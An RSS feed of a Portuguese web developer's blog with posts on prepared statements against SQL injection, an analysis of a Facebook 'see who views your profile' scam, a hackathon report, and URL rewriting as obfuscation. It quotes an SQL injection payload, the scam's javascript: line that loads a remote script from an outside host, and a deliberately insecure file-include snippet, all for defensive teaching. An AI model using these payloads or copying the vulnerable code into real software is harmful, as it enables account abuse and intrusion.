<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Blog of a WebDeveloper &#187; Webdevelopment</title>
	<atom:link href="http://joaopedropereira.com/blog/category/webdevelopment/feed/" rel="self" type="application/rss+xml" />
	<link>http://joaopedropereira.com/blog</link>
	<description>Um novo estilo de desenvolvimento</description>
	<lastBuildDate>Wed, 27 Jul 2011 21:19:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Prepared Statements contra SQL Injection</title>
		<link>http://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/</link>
		<comments>http://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/#comments</comments>
		<pubDate>Wed, 27 Jul 2011 21:19:06 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[prepared statements]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1045</guid>
		<description><![CDATA[É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores. Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F07%2F27%2Fprepared-statements-contra-sql-injection%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F07%2F27%2Fprepared-statements-contra-sql-injection%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>É muito comum quando se estuda uma linguagem não se dar principal foco ao desenvolvimento em segurança, mas este, em ambientes de produção é um dos factores decisivos do sucesso de uma aplicação e da confiança por parte dos utilizadores.<br />
Neste artigo vai ser abordada uma forma de defesa relativa a possíveis ataques de SQL Injection em PHP utilizando o SGDB MySQL, e com recurso a Prepared Statements.</p>
<p>Existe suporte oficial a várias bases de dados: CUBRID, MS SQL Server, Firebird/Interbase, IBM, Informix, MySQL, MS SQL Server, Oracle, ODBC e DB2, PostgreSQL, SQLite, 4D [print_r(PDO::getAvailableDrivers());]</p>
<h2>Vantagens e Desvantagens</h2>
<p><span style="text-decoration: underline;"><strong>Vantagens:</strong></span><br />
i. Previne SQL Injection<br />
ii. Melhora a performance (pode só ser notado quando usado em grandes plataformas)<br />
iii. Mais simples de escrever e ler</p>
<p><span style="text-decoration: underline;"><strong>Desvantagens e Limitações:</strong></span><br />
i. Limitado a: SELECT, INSERT, UPDATE, REPLACE, DELETE, e CREATE TABLE<br />
ii. Placeholders apenas para valores e nunca para nomes de tabelas ou colunas<br />
iii. Quando precisamos de utilizar o método bind_result no escopo de uma classe e não sabemos à partida quantas variáveis vão ser passadas. Problema analisado por Jeffrey Way @ NetTuts (http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/)</p>
<h2>addslashes vs mysql_real_escape_string vs Prepared Statements</h2>
<p>As funções addslashes e mysql_real_escape_string não serão objecto de estudo neste artigo, será apenas faladas as vulnerabilidades que não acontecem com o uso de Prepared Statements de modo a mostrar que esta última alternativa é de facto a mais segura.</p>
<p>O Chris Shiflett (<a title="addslashes() Versus mysql_real_escape_string()" href="http://shiflett.org/archive/184" target="_blank">http://shiflett.org/archive/184</a>) já analisou as vulnerabilidades das addslashes relativas ao abuso de caracteres multibyte.</p>
<p>A função mysql_real_escape_string não é muito diferente da addslashes ao nível do tipo de vulnerabilidade, na verdade a sua vantagem reside mesmo em ter em conta o character set a ser utilizado conseguindo determinar como analisar a informção passada. Contudo continuam a existir vulnerabilidades, por exemplo com a utilização da codificação GBK e da sequ?ncia 0xbf27 (¿’) que passada nesta função não terá o resultado pretendido de ¿\’ . (POC <a title="mysql_real_escape_string() versus Prepared Statements" href="http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html" target="_blank">http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html</a> )</p>
<h2>Prepared Statements em Uso</h2>
<p>Vejamos então um exemplo bastante simples&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM registos WHERE login = '<span style="color: #006699; font-weight: bold;">$login</span>'&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>em que /?login=&#8217; OR 1&#8242;;</p>
<p>Assim sendo<br />
A query ficará algo do género:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM registos WHERE login = '' OR 1&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>O que resultaria num retorno de todas as informações da base de dados.</p>
<p>Se neste caso especifico fosse utilizado o método de destaque deste artigo: Prepared Statements, teriamos de colocar um placeholder (para marcar o local onde serão inseridos os dados a introduzir / consultar na base de dados, isto faz com que nos locais onde estão colocados os placeholders não sejam feitos pedidos à base de dados ou alteração ao pedido em questão. É aqui que reside a força deste método.</p>
<p>Existem duas formas de usar placeholders tal como referido no Manual do PHP.net</p>
<p>Forma #1:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dbh</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO REGISTRY (name, value) VALUES (:name, :value)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindParam</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':name'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindParam</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':value'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Forma #2:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dbh</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO REGISTRY (name, value) VALUES (?, ?)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindParam</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindParam</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Voltando então ao exemplo anterior, a nossa expressão seria então:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM registos WHERE login = ?&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Nota: Apesar da extensão MySQLi também suportar prepared statements é aconselhável a utilização da extensão PDO (PHP Data Objects)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$login</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;joaoppereira&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM registos WHERE login = ?&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$pdo</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$login</span><span style="color: #339933;">,</span> PDO<span style="color: #339933;">::</span><span style="color: #004000;">PARAM_STR</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$ok</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$results</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fetchAll</span><span style="color: #009900;">&#40;</span>PDO<span style="color: #339933;">::</span><span style="color: #004000;">FETCH_ASSOC</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>A função bindValue dos PDOStatement permite simples validações de tipo de dados no terceiro parâmetro da função bindValue(parametro, valor, tipo_dado), com as seguintes opções:</p>
<pre>- PDO::PARAM_STR
- PDO::PARAM_INT
- PDO::PARAM_BOOL
- PDO::PARAM_NULL</pre>
<p>Este foi só um artigo introdutório a este tema, existe agora imenso material no Manual do PHP.net e um pouco por toda a internet relativamente a esta temática para os que quiserem, e bem, aprofundar os conhecimentos relativos a Prepared Statements e PDO.</p>
<h3>Bibliografia:</h3>
<p>- <a title="Prepared statements and stored procedures" href="http://php.net/manual/en/pdo.prepared-statements.php" target="_blank">http://php.net/manual/en/pdo.prepared-statements.php</a><br />
- <a title="The PDOStatement class" href="http://www.php.net/manual/en/class.pdostatement.php" target="_blank">http://www.php.net/manual/en/class.pdostatement.php</a><br />
- <a title="PDOStatement->bindValue&#8221; href=&#8221;http://www.php.net/manual/en/pdostatement.bindvalue.php&#8221; target=&#8221;_blank&#8221;>http://www.php.net/manual/en/pdostatement.bindvalue.php</a><br />
- <a title="Predefined Constants  " href="http://www.php.net/manual/en/pdo.constants.php" target="_blank">http://www.php.net/manual/en/pdo.constants.php</a><br />
- <a title="PDO Drivers" href="http://www.php.net/manual/en/pdo.drivers.php" target="_blank">http://www.php.net/manual/en/pdo.drivers.php</a><br />
- <a title="The Problem with PHP’s Prepared Statements" href="http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/" target="_blank">http://net.tutsplus.com/tutorials/php/the-problem-with-phps-prepared-statements/</a></p>
<div class="shr-publisher-1045"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F07%2F27%2Fprepared-statements-contra-sql-injection%2F' data-shr_title='Prepared+Statements+contra+SQL+Injection'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F07%2F27%2Fprepared-statements-contra-sql-injection%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F07%2F27%2Fprepared-statements-contra-sql-injection%2F' data-shr_title='Prepared+Statements+contra+SQL+Injection'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2011/07/27/prepared-statements-contra-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Análise Facebook: See who views your profile</title>
		<link>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/</link>
		<comments>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/#comments</comments>
		<pubDate>Sat, 23 Apr 2011 16:10:45 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[facebook]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=1038</guid>
		<description><![CDATA[Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil ! Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta. javascript:&#40;a=&#40;b=document&#41;.createElement&#40;'script'&#41;&#41;.src='//bbbindia4.in/jsp.php',b.body.appendChild&#40;a&#41;;void&#40;0&#41; Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Para quem não reparou ainda há a circular uma praga no Facebook que utiliza o motivo de permitir ver quem visita o perfil !</p>
<p style="text-align: center;"><a href="http://joaopedropereira.com/blog/wp-content/uploads/2011/04/whoviewprofile_facebook.png" target="_blank"><img class="size-medium wp-image-1039 aligncenter" title="Facebook: See who views your profile" src="http://joaopedropereira.com/blog/wp-content/uploads/2011/04/whoviewprofile_facebook-300x231.png" alt="" width="300" height="231" /></a></p>
<p>Esta página incita o utilizador executar o seguinte código no browser tendo a página do facebook aberta.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #009900;">&#40;</span>a<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>b<span style="color: #339933;">=</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'script'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">=</span><span style="color: #3366CC;">'//bbbindia4.in/jsp.php'</span><span style="color: #339933;">,</span>b.<span style="color: #660066;">body</span>.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>void<span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>Este código simplesmente adiciona o código presente na página bbindia4.in/jsp.php à página do facebook. (em anexo  no fim do post)</p>
<p><span style="font-family: 'Times New Roman'; line-height: normal; font-size: medium;"> </span></p>
<p style="display: inline !important;">Este ficheiro contém código JavaScript que vai criar um novo evento e convidar todos os amigos, vai ainda abrir uma conversa de chat e colocar uma mensagem com o link para o contacto em questão também sofrer o mesmo &#8220;ataque&#8221; e vai colocar uma mensagem no próprio Mural com números aleatórios e nomes de contactos aleatórios como se fossem as pessoas que mais vêm o perfil <img src='http://joaopedropereira.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> !</p>
<p style="display: inline !important;">&nbsp;</p>
<p>Isto apenas volta a mostrar que por mais segura que uma página seja os utilizadores podem ser sempre enganados tornando a página insegura !</p>
<p>&nbsp;</p>
<p>Stay safe.</p>
<p>&nbsp;</p>
<p><span style="text-decoration: underline;"><strong>Anexo:</strong></span> <a title="jsp.php.txt" href="http://feupload.fe.up.pt/get/YLuS4rOIiq2zybE" target="_blank">jsp.php.txt</a></p>
<p>&nbsp;</p>
<div class="shr-publisher-1038"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F' data-shr_title='An%C3%A1lise+Facebook%3A+See+who+views+your+profile'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2011%2F04%2F23%2Fanalise-facebook-see-who-views-your-profile%2F' data-shr_title='An%C3%A1lise+Facebook%3A+See+who+views+your+profile'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2011/04/23/analise-facebook-see-who-views-your-profile/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Portugal GTUG HTML5 Hackaton</title>
		<link>http://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/</link>
		<comments>http://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 09:35:23 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=945</guid>
		<description><![CDATA[Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan ! A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&#38;Drop, WebSockets, Server-Sent actions, API&#8217;s, etc., etc., etc. Foi uma cena brutal mesmo! Houve Coffee Break&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F09%2F28%2Fportugal-gtug-html5-hackaton%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F09%2F28%2Fportugal-gtug-html5-hackaton%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="size-full wp-image-952 alignright" title="Google" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/09/IMG_1108-r5.jpg" alt="" width="150" height="200" />Sábado passado foi dia de Hackaton em HTML5 organizada pela malta da GTUG Portugal que trouxeram ao Maus Hábitos, Porto o Paul Kinlan !</p>
<p>A parte da manhã passou-se com uma excelente apresentação de potencialidades do HTML5 ! Canvas, Drag&amp;Drop, WebSockets, Server-Sent actions, API&#8217;s, etc., etc., etc.</p>
<p>Foi uma cena brutal mesmo!</p>
<p>Houve Coffee Break&#8217;s e pausa para Almoço, tudo oferecido pela Google e esteve tudo muito bem !</p>
<p style="text-align: center;"><img class="size-full wp-image-965 alignleft" title="Almoço, Bacalhau à Bras" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/09/IMG_1116-r8.jpg" alt="" width="228" height="171" /><img class="size-full wp-image-966 aligncenter" title="Almoço, Rojões" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/09/IMG_1117-r8.jpg" alt="" width="226" height="169" /></p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-962" title="Lunch Break, Google" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/09/IMG_1115-r14.jpg" alt="" width="504" height="378" /></p>
<p>Depois de almoço, a parte da tarde foi dedicada ao desenvolvimento de aplicaçõe sem HTML5, eu desenvolvi com o <a title="Tiago Boldt" href="http://tiagoboldt.net" target="_blank">Tiago Boldt</a> um pequeno chat, já agora Tiago acho que podíamos continuar com a ideia e fazer algo mais avançado e quem sabe depois fazer um release ! Deixo-te aqui a ideia <img src='http://joaopedropereira.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ! Durante a parte da tarde ainda tivemos a oportunidade de ouvir um jovem pianista tocar para nós durante os momentos de bater código, o nome dele é <a title="Youtube - luizfvpereira's channel" href="http://www.youtube.com/user/luizfvpereira" target="_blank">Luís Pereira</a> e é meu irmão.</p>
<p>Foi sem dúvida uma excelente experiência e ficou um repto no final. Sugerir talks para um próximo encontro no Porto! Eu vou pensar no assunto e quem sabe não envio um e-mail ao pessoal da GTUG Portuguesa!</p>
<p><img class="aligncenter size-full wp-image-975" title="João Pedro Pereira, Google" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/09/IMG_1112-r12.jpg" alt="" width="480" height="360" /></p>
<div class="shr-publisher-945"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F09%2F28%2Fportugal-gtug-html5-hackaton%2F' data-shr_title='Portugal+GTUG+HTML5+Hackaton'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F09%2F28%2Fportugal-gtug-html5-hackaton%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F09%2F28%2Fportugal-gtug-html5-hackaton%2F' data-shr_title='Portugal+GTUG+HTML5+Hackaton'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2010/09/28/portugal-gtug-html5-hackaton/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>URL Rewriting contra ataques ?(!)</title>
		<link>http://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/</link>
		<comments>http://joaopedropereira.com/blog/2010/08/27/url-rewriting-contra-ataques/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 10:39:54 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[Optimização]]></category>
		<category><![CDATA[Segurança]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=926</guid>
		<description><![CDATA[O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F27%2Furl-rewriting-contra-ataques%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2010%2F08%2F27%2Furl-rewriting-contra-ataques%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>O URL Rewriting ganhou muitos adeptos quando surgiu a moda das SEO (Search Engine Optimization) e das USO (User Scan Optimization) de forma a tornar as ligações de mais fácil leitura e percepção do seu conteúdo quer para os Motores de Pesquisa quer para o scan que o nosso cérebro faz quando olha para uma ligação, e é normalmente com este intuito que é utilizado.</p>
<p>Contudo, é possível utilizar URL Rewriting para melhorar a segurança do seu site.</p>
<p style="text-align: center;"><a href="http://joaopedropereira.com/blog/wp-content/uploads/2010/08/obfuscation.jpg"><img class="aligncenter size-full wp-image-927" title="obfuscation" src="http://joaopedropereira.com/blog/wp-content/uploads/2010/08/obfuscation.jpg" alt="" width="360" height="450" /></a></p>
<p><strong>ATENÇÃO: Não é seguro confiar neste método para a obtenção de um site seguro, este é apenas um método possível de obfuscação, isto é, para tornar mais dificil de perceber onde poderão estar as falhas, principalmente para ferramentas automáticas de pentesting!</strong></p>
<p>Imaginemos o seguinte URL:</p>
<p>http://exemplo.pt/pagina.php?id=13&#038;titulo=AppVulneravel</p>
<p>Uma ferramenta automática de SQL Injection fazia parsing do URL e detectava dois parâmetros com dois valores: ( id =&gt; 13, titulo =&gt; &#8216;AppVulneravel&#8217; ) .</p>
<p>Utilizando o seguinte ficheiro .htaccess:</p>

<div class="wp_syntax"><div class="code"><pre class="htaccess" style="font-family:monospace;"># Turn on URL rewriting
RewriteEngine On
&nbsp;
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
&nbsp;
RewriteRule ^pagina/(.+)/(.+) pagina.php?id=$1&amp;amp;titulo=$2 [PT,L]</pre></div></div>

<p>Já podíamos chamar a mesma página da seguinte forma:</p>
<p>http://exemplo.pt/pagina/13/AppVulneravel</p>
<p>A mesma ferramenta automática mais dificilmente chegaria a verificar se 13 e AppVulneravel não eram directórios e estávamos a trabalhar no index desse directório.</p>
<p>Neste caso, um olhar sobre o URL e percebia-se que estava a ser usado URL Rewriting e podia-se tentar explorar vulnerabilidades a partir desses parâmetros e/ou configurado uma ferramenta para fazer os testes correctamente tendo em conta essa informação.</p>
<p>Mas um outro exemplo:</p>
<p>pagina.php</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// ATENÇÃO: Este código é altamente inseguro! Só para fins demonstrativos!</span></pre></div></div>

<p>Tirando partido do código anterior podíamos ter os seguintes URLs:</p>
<p>http://exemplo.pt/index</p>
<p>http://exemplo.pt/about</p>
<p>Sem conhecer o site em questão eu diria que teriam um ficheiro .htaccess semelhante a este:</p>

<div class="wp_syntax"><div class="code"><pre class="htaccess" style="font-family:monospace;"># Turn on URL rewriting
RewriteEngine On
&nbsp;
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
&nbsp;
RewriteRule ^(home)$ index.php [PT,L]
RewriteRule ^(about)$ about.php [PT,L]</pre></div></div>

<p>Contudo, neste contexto, seria algo mais como:</p>

<div class="wp_syntax"><div class="code"><pre class="htaccess" style="font-family:monospace;"># Turn on URL rewriting
RewriteEngine On
&nbsp;
# Allow any files or directories that exist to be displayed directly
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
&nbsp;
RewriteRule ^(.+) pagina.php?file=$1 [PT,L]</pre></div></div>

<h2>Conclusão</h2>
